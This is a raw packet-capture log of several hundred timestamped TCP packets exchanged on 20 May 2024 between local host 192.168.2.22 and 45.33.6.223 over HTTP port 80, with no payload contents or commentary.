May 20, 2024 08:54:31.064398050 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064419985 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064483881 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064552069 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.065216064 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.065248013 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.065273046 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.065290928 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.065972090 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066004992 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066030025 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066037893 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066049099 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066073895 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066083908 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066107988 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066119909 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066150904 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066159010 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066193104 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066209078 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066226006 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066237926 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066260099 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066270113 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066293955 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066299915 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066327095 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066338062 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066370010 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066425085 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066479921 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066555977 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066591024 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066612959 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066622972 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066629887 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066658020 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066667080 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066692114 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066701889 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066735029 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066895962 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066939116 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.066955090 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066981077 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.066983938 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.067028999 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.067028999 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.067065001 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.067074060 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.067106962 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.067114115 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.067148924 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.067156076 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.067198038 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068264008 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068299055 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068324089 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068331957 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068363905 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068365097 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068399906 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068401098 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068411112 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068434000 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068444014 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068470001 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068478107 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068504095 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068512917 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068536997 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068547010 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068572998 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068579912 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068604946 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068631887 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068639040 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068643093 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068654060 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068674088 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068679094 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068708897 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068716049 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068742990 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068775892 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068777084 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068785906 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068809986 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068821907 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068844080 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068856001 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068877935 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.068895102 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.068924904 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.069158077 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.069957018 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.070012093 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074143887 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074177980 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074209929 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074232101 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074284077 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074318886 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074346066 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074366093 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074369907 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074404955 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074420929 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074439049 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074450016 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074487925 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074489117 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074537039 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074675083 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074709892 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074738026 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074738979 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074759960 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074790001 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074832916 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074867010 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074884892 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074901104 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074902058 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074939013 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.074948072 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.074980021 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075021029 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075054884 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075078011 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075088024 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075094938 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075122118 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075130939 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075155973 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075165033 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075191021 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075200081 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075225115 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075232029 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075267076 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075433969 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075490952 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075798035 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075830936 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075853109 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075864077 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075870037 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075898886 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075906992 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075928926 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.075942993 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.075970888 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076122046 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076157093 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076174021 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076191902 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076200008 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076225042 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076236010 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076261044 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076267004 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076298952 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076303005 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076340914 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076348066 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076381922 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076401949 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076415062 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076425076 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076450109 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076457977 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076492071 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076500893 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076534986 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076554060 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076575994 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076880932 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076917887 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076950073 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076953888 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076960087 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.076987028 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.076997042 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077028990 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077032089 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077063084 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077078104 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077105999 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077112913 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077147007 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077155113 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077178955 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077188015 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077214003 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077220917 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077248096 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077256918 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077290058 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077370882 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077426910 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.077430010 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.077480078 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.080157995 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.080214977 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.080571890 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.080632925 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.080815077 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.080873013 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081008911 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081043005 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081070900 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081116915 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081130981 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081166029 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081186056 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081198931 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081207991 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081234932 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081243992 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081269026 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081279039 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081302881 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081310034 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081346035 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081355095 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081388950 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081404924 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081420898 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081429005 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081454992 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081463099 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081489086 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081496954 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081532001 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081583023 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081618071 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081638098 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081660986 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081682920 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081715107 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081736088 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081748962 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.081751108 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.081792116 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.083501101 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.083556890 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.109687090 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.109833002 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110040903 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110074043 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110101938 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110116959 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110162973 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110213041 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110223055 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110246897 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110256910 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110281944 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110291004 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110316038 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110325098 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110358000 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110671997 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110706091 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.110728025 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.110748053 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156307936 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156366110 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156400919 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156454086 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156471968 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156471968 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156471968 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156490088 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156497955 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156524897 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156538963 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156563997 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156572104 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156600952 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156610012 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156646967 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156655073 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156688929 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156708956 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156723022 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156729937 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156757116 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156766891 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156800985 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156810999 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156845093 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156863928 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156878948 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156883955 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156913996 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.156920910 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.156956911 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157062054 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157095909 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157114983 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157130957 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157140017 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157166958 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157174110 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157201052 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157210112 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157243967 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157428980 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157464027 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157483101 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157497883 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157505989 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157532930 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157542944 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157568932 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157593012 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157604933 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157656908 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157711983 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157761097 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157795906 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157814980 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157830000 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157916069 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157951117 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157969952 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.157985926 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.157989979 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158020973 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158029079 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158065081 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158148050 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158184052 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158200026 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158216000 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158226013 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158258915 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158353090 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158387899 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158407927 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158421040 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158428907 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158456087 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.158483982 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.158490896 CEST	80	49167	45.33.6.223	192.168.2.22
